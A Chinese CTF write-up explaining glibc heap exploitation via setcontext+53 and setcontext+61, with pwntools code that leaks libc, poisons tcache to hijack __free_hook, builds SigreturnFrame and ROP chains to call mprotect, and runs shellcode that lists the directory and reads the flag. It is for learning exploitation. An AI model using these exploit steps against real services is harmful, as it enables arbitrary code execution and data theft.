首页 > 其他分享 >setcontext+53、61的利用

setcontext+53、61的利用

时间:2022-11-26 22:44:32浏览次数:71  
标签:dele p64 frame mov 53 61 fake setcontext rsp

ubuntu18

限制数量0x10、UAF、禁exe

image

add(0x420)
add(0x420)
dele(0)
add(0x90)

show(1)
r.recvuntil("Content : ")
base=u64(r.recv(6)+b'\x00'*2)-0x3ec090
print(hex(base))

image

for i in range(9):
	add(0x18)
dele(10)
dele(9)
dele(8)
dele(7)
dele(6)
dele(5)
dele(4)

image

edit(2,0x600,b'a'*0x18+p64(0x21)+p64(free_hook-0x10))

image

for i in range(9):
	add(0x18)

edit(11,0x100,p64(setcontext))

image

#read(0,fake_rsp,0x2000)
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=fake_rsp
frame.rdx=0x2000
frame.rsp=fake_rsp
frame.rip=syscall
add(0x500)
edit(12,0x500,str(frame))
dele(12)

image

image

#mprotect(fake_rsp,0x1000,7)
#open+sendfile
payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall) 
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('./'))
payload += asm(shellcraft.getdents64(3,fake_rsp+0x300,0x100))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x100))
payload += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (fake_rsp+0x100))

r.send(payload)

image

image

高级I/O函数之sendfile函数

ubuntu20 orw

image

查看一下setcintext函数

image

free(rdi) setcontext(rdx)

2.31版本的setcontext变化,传参的寄存器也从rdi变成了rdx,所以要找合适的gadget把rdi的值传给rdx

直接ROPgadget

image

或者利用ropper寻找

image

image

目的是free后rdi的值传递给rdx,然后rdx的值再传到setcontext里面

add(0x420)
add(0x420)
dele(0)
add(0x90)

show(1)
p.recvuntil("Content : ")
base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecfd0
print(hex(base))

首先获取libc基址

为什么能show出来的只有新分配0x90的chunk1,而0x420大小的chunk1无法show

image

for i in range(9):
	add(0x18) #2-10

#4-10 tcache
dele(10)
dele(9)
dele(8)
dele(7)

dele(6)
dele(5)
dele(4)
dele(3)
#3 fastbin

申请9个chunk,其中7个free掉用来填满tcachebin,还有一个chunk3放入fastbin

最后一个chunk2用来溢出修改chunk3

image

edit(2,0x40,b'a'*0x18+p64(0x21)+p64(free_hook-0x10)) #0x55xxxxxxx330

通过对chunk2 编辑的溢出,将相邻的chunk(也就是下面我们会申请成的chunk3)的fd改成free_hook-0x10

image

这里说明了为什么要将fd改为free_hook-0x10,而不是free_hook-0x10

image

image #chunk11

进入_int_malloc我们会发现rdx会加0x10

image

image

下面准备清空tcachebin,并将fastbin腾出供我们下面利用

for i in range(7):
	add(0x18) # 3-10 370 430
add(0x18) # 10 350
add(0x18) # new 11 -> free_hook
show(3)
p.recvuntil("Content : ")
#frame_addr=u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00'))
frame_addr=u64(p.recv(6)+b'\x00'*2)+0x770 # —> frame
print(hex(frame_addr))

现在的chunk3储存着堆地址,将它泄露出来

image #chunk3

rdxx=0x0000000000151990+base
#mov rdx, qword ptr [rdi + 8];
#mov qword ptr [rsp], rax;
#call qword ptr [rdx + 0x20];

fake_rsp = (free_hook&0xfffffffffffff000)
#read(0,fake_rsp,0x1000)  asm(shell1)
shell1 = '''
	xor rdi,rdi
	mov rsi,%d
	mov edx,0x1000

	mov eax,0
	syscall

	jmp rsi
	''' % fake_rsp

edit(11,0x300,p64(rdxx)+p64(0)+p64(free_hook+0x18)+asm(shell1))

向free_hook中写入shellcode

image

add(0x500) #12

#mprotect(fake_rsp,0x1000,7)
frame = SigreturnFrame()
frame.rsp = base + libc.sym['__free_hook']+0x10
frame.rdi = fake_rsp
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = base + libc.sym['mprotect']

payload1 = p64(0)+p64(frame_addr)
payload1+= p64(0)*4 + p64(setcontext+61) + str(frame)[0x28:]
edit(12,0x500,payload1)

image

str(frame)[0x28:]截掉前面没用还占空间的\x00

dele(12)

chunk12 af0

image

rdxx:
payload1 = p64(0)+p64(frame_addr)

image

payload1+= p64(0)*4 + p64(setcontext+61) + str(frame)[0x28:]

可以看出为什么前面payload1为什么要加p64(0)*4来抬栈

imagemov rdx

imagecall rdx+0x20

setcontext+61:

image

image

image

image

frame:

image

image

shell:

image

将shellcode写入我们构建的可写可执行段,来读flag名以及再构造一次read

pl=""
pl+=asm(shellcraft.open("./"))
pl+=asm(shellcraft.gatdents64(3,fake_rsp+0x30,0x100))
pl+=asm(shellcraft.write(1,fake_rsp+0x30,0x100))
pl+=asm('''
	mov rdi, 0;mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
	'''% (fake_rsp+0x100))
p.send(pl)

嗨嗨

p.recvuntil("flag")
name=r.recv(6)
flag='flag'+name

image

shellcode = asm(shellcraft.cat(flag))
shellcode+= asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (fake_rsp+0x100))
p.send(shellcode)

image

标签:dele,p64,frame,mov,53,61,fake,setcontext,rsp
From: https://www.cnblogs.com/shuzM/p/16928535.html

相关文章

  • 『题解』UVA 10534 Wavio Sequence
    题目传送门题意\(Wavio\)是整数序列,有如下特点:它的长度总为奇数,即\(2n+1\);前\(n+1\)个数构成一个严格的上升序列,后\(n+1\)个数构成一个严格下降的序列;任意......
  • 力扣153(java&python)-寻找旋转排序数组中的最小值(中等)
    题目:已知一个长度为n的数组,预先按照升序排列,经由1到n次旋转后,得到输入数组。例如,原数组nums=[0,1,2,4,5,6,7]在变化后可能得到:若旋转4次,则可以得到[4,5,6,......
  • [Bug0061] RabbitMQ 报错 An unexpected connection driver error occured
    问题Java项目连接RabbitMQ报错Anunexpectedconnectiondrivererroroccured场景集成RabbitMQ的开源项目启动报错原因yml中端口配置错误,也是小白很容易犯错之一,配......
  • 1532_AURIX_TriCore内核架构_中断
    全部学习汇总:​​GreyZhang/g_tricore_architecture:somelearningnoteabouttricorearchitecture.(github.com)​​中断一直是我想了解关注的一个功能模块,因为感觉不......
  • 1533_AURIX_TriCore内核架构_指令集信息
    全部学习汇总:​​GreyZhang/g_tricore_architecture:somelearningnoteabouttricorearchitecture.(github.com)​​学习的顺序有一点调整,切换到了内核的第二卷。先了......
  • 1531_AURIX_TriCore内核架构_任务以及函数
    全部学习汇总:​​GreyZhang/g_tricore_architecture:somelearningnoteabouttricorearchitecture.(github.com)​​继续前面的内核架构学习,这次看一下任务以及函数的......
  • 1530_AURIX_TriCore内核架构_通用寄存器以及系统寄存器
    全部学习汇总:​​GreyZhang/g_tricore_architecture:somelearningnoteabouttricorearchitecture.(github.com)​​继续看一下内核手册,这次了解一下通用寄存器以及系......
  • P5369 [PKUSC2018]最大前缀和
    P5369[PKUSC2018]最大前缀和题目要我们求每一种排列的最大前缀和,不妨考虑先确定最大前缀和,再计算它的方案数,设\(U\)为全集,那么答案就为\(\sum_{S\subseteqU}sum[S]*f......
  • P5363 [SDOI2019]移动金币
    P5363[SDOI2019]移动金币转化一下题意,移动一个金币相当于把这个金币前面的格子移到了后面,这是经典的阶梯\(\text{Nim}\),因为题目是把格子向后移,所以我们只要保证一共\(m......
  • CF1539E Game with Cards
    把最终答案看成一段\(0\),一段\(1\)的一个串。如果说我们的答案中有一段\(0\)(\(1\)同理)。那么所有\(0\)的数都满足所有第一个范围,这段\(0\)前面的\(1\)代......